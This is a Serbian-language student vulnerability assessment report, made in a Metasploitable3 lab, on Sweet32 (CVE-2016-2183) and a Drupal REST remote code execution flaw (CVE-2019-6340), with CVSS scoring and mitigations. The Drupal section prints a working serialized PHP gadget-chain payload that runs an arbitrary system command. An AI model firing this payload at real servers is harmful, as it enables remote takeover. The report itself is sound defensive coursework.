# Vulnerability Assessment Report

**Ime i prezime:Vlada Dević**
**Tim: Tim 10**
**Datum: 03.11.2024.**
**Scan Tool:** Nessus (10.8.3)
**Test okruženje:** Metasploitable3

# CVE-2016-2183

---

## 1. Enumeracija CVE-a

- **CVE ID:** CVE-2016-2183

- **Opis:** CVE-2016-2183 je ranjivost TLS/SSL protokola koja se javlja ukoliko se koriste nesigurni algoritmi za enkrpiciju. TLS/SSL protokol omogućava da komunikacija između klijenta i servera bude poverljiva. Ukoliko se prilikom handshake-a koristi 3DES ili Blowfish algoritam koji prilikom enkripcije koristi blokove dužine 64 bita, prisluškivanjem saobraćaja, potencijalni napadač može da dođe do izvornog oblika poruka koje se razmenjujue između klijenta i servera.

---

## 2. CVSS skor

- **CVSS skor (numerička vrednost):** 7.5
- **Vektor:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  **AV(Attack Vector) : N(Network)** – Napad se može izvesti preko interneta
  **AC(Attack Complexity) : L(Low)** – Za izvođenje napada nije potrebno da budu ispunjeni specifični uslovi
  **PR(Privileges Required) : N(None)** – Za izvođenje napada nije potrebno da napadač poseduje bilo kakve privilegije
  **UI(User Interaction) : N(None)** – Za izvođenje napada nije potrebno da postoji interakcija između napadača i korisnika. Napadač može uspešno da izvrši napad bez dozvole ili znanja žrtve.
  **S(Scope) : U(Unchanged)** – Iskorišćavanje ranjivosti ne utiče na druge komponente sistema.
  **C(Confidentiality Impact) : H(High)** - Iskorišćavanjem ranjivosti napadač dobija pristup osetljivim podacima.
  **I(Integrity Impact) : N(None)** – Iskorišćavanjem ranjivosti napadač ne stiče mogućnost da pravi izmene nad podacima.

**A(Availability Impact) : N(None)** – Iskorišćavanjem ranjivosti napadač ne može da utiče na dostupnost sistema.

- **Opravdanje:** Iskorišćavanjem ove ranjivosti napadač može da dobije pristup osetljivim informacijama. Napad je moguće izvesti preko interneta bez znanja žrtve, bez ikakvih privilegija i bez uticanja na druge servise. Olakšavajuća okolnost je što napadač ne može da vrši izmene nad podacima niti da utiče na dostupnost servisa, u suportnom CVSS ocena bi bila veća.

---

## 3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Ne**
  Eksploit postoji samo kao PoC: https://sweet32.info/.
- **Opis eksploita:**
  Napad koji iskorišćava CVE-2016-2183 ranjivost se naziva sweet32. Napad spada u man-in-the-middle klasu napada. Cilj napada je dobiti pristup cookie-u sa tokenom za autentifikaciju. Napad je zasnovan na rođendanskom paradoksu. Ukoliko je za enkriptovanje koriste blokovo od 64 bita, to znači da postoji ukupno $2^{64}$ mogućih blokova. Napad koristi činjenicu da nakon generisanih $2^{32}$ bloka, šansa da dva bloka imaju istu vrednost postaje dosta velika. Potrebno je da napadač pokrene maliciozan Javascript kod iz pretraživača žrtve, koji će da šalje ogromnu količinu http zahteva na server. Takođe potrebno je da napadač ima pristup enkriptovanim porukama koje se razmenjuju između klijenta i servera. Napadač analizira poruke i traži dva bloka koji imaju istu enkriptovanu vrednost, ali su plaintext vrednosti drugačije. Kada se nađe ovak blok moguće je na osnovu poznatih plaintext vrednosti doći do nepoznatih. U praksi potrebno je oko 700GB podataka dok se ne dođe do kolizije blokova.

## 4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Greška nastaje kao posledica korišćenja algoritama za enkriptovanje koji koriste veličine blokova od 64 bita. Greška ne postoji u standardnom smislu te reči. U jednom periodu postojao je koncenzus da su veličine blokova od 64 bit dovoljno bezbedne. Povećavanjem obima internet saobraćaja i njegove brzine ova veličina blokova je postala nebezbedna.

---

## 5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch  (Da/Ne): Ne**
- **Mitigation Strategy:** Potrebno je podesiti konfiguraciju servera tako da ne koristi algoritme za enkriptovanje koji koriste veličine blokovoa od 64 bita. Preporuka je da se

koriste algoritmi koji koriste minimum 128bitne blokove, na primer AES. Ispod se nalazi primer linije koju je potrebno dodati u konfiguracioni fajl za Apache server:

```
SSLCipherSuite
HIGH:!3DES:!BF:!aNULL:!MD5:!RC4:!DES:!EXP:!PSK:!SRP:!CAMELLIA
```

# CVE-2019-6340

---

## 1. Enumeracija CVE-a

- **CVE ID:** CVE-2019-6340

- **Opis:** CVE-2019-6340 je ranjivost unutar Drupal servisa koja omogućava napadaču izvršavanje malicioznog PHP koda na serveru. Ranjivost se javlja zbog načina na koji Drupal validira podatke koje korisnici unose. Ranjivost postoji ukoliko je zadovoljen jedan od uslova:

    - Vebsajt koristi Drupal 8 core RESTful Web Services modul i dozvoljava PATCH ili POST zahteve

    - Vebsajt koristi JSON:API(Drupal 8) ili Services(Drupal 7) ili RESTful Web Services (Drupal 7) modul

---

## 2. CVSS skor

- **CVSS skor (numerička vrednost):** 8.1
- **Vektor:** CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
  **AV(Attack Vector) : N(Network)** – Napad se može izvesti preko mreže.
  **AC(Attack Complexity) : H(High)** – Za izvođenje napada potrebno je da specifični moduli budu u upotrebi.
  **PR(Privileges Required) : N(None)** – Za izvođenje napada nije potrebno da napadač poseduje ikakve privilegije.
  **UI(User Interaction) : N(None)** – Za izvođenje napada nije potrebno da postoji interakcija između napadača i korisnika. Napadač može uspešno da izvrši napad bez dozvole ili znanja žrtve.
  **S(Scope) : U(Unchanged)** – Iskorišćavanje ranjivosti ne utiče na druge komponente sistema.

**C(Confidentiality Impact) : H(High)** - Iskorišćavanjem ranjivosti napadač dobija pristup osetljivim podacima.
**I(Integrity Impact) : H(High)** – Iskorišćavanjem ranjivosti napadač stiče mogućnost da pravi izmene nad podacima.
**A(Availability Impact) : H(High)** – Iskorišćavanjem ranjivosti napadač može da utiče na dostupnost sistema.

- **Opravdanje:** Ova ranjivost ima relativno visoku ocenu i posledice napada mogu biti velike. Napadač može da dobije pristup poverljivim informacijama, da ih izmeni i čak da utiče na dostupnost servisa. Ranjivost nema veću ocenu, jer je potrebno da specifčni uslovi budu zadovoljeni kako bi napad bio moguć.

---

## 3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne): Da**
  Postoji javno dostupan github repozitorijum: https://www.exploit-db.com/exploits/46459.
- **Opis eksploita:**
  Eksploit za CVE-2019-6340 spada u RCE(Remote Code Execution) klasu napada. Prvi korak je slati uzastopne get zahteve na /node/{id} putanju Drupal servera dok se ne pronađe id koji postoji i nije keširan. Sledeći korak je proveriti da li je node sa tim id-em podložan napadu. Ukoliko jeste Šalje se novi get zahtev sa sledećim payload-om:

```
payload = {
    "link": [
        {
            "value": "link",
            "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
                       "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
                       "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
                       "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
                       "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
                       "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
                       "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
                       "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
                       "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
        }
    ],
    "_links": {
        "type": {
            "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
        }
    }
}
```

Ovaj payload sadrži malicioznu komandu koja se ivršava na serveru. Komanda može biti proizvoljna. U odgovoru servera se nalazi izlazna vrednost ivršene komande.

- **Kod eksploita (ukoliko postoji):**

  Kod je dostupan na sledećem linku: https://www.exploit-db.com/exploits/46459

---

## 4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Ranjivost postoji u sledećim Drupal verzijama:

  - Drupal 8.5.x do Drupal 8.5.11
  - Drupal 8.6.x do Drupal 8.6.10

  https://github.com/drupal/drupal/compare/8.4.x...8.5.x

- **Primer Koda (ako je primenljivo):**

---

## 5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch  (Da/Ne): Da**
- **Mitigation Strategy:** Potrebno je ažurirati Drupal verziju upotrebom Drupal Shell-a: `drush up drupal`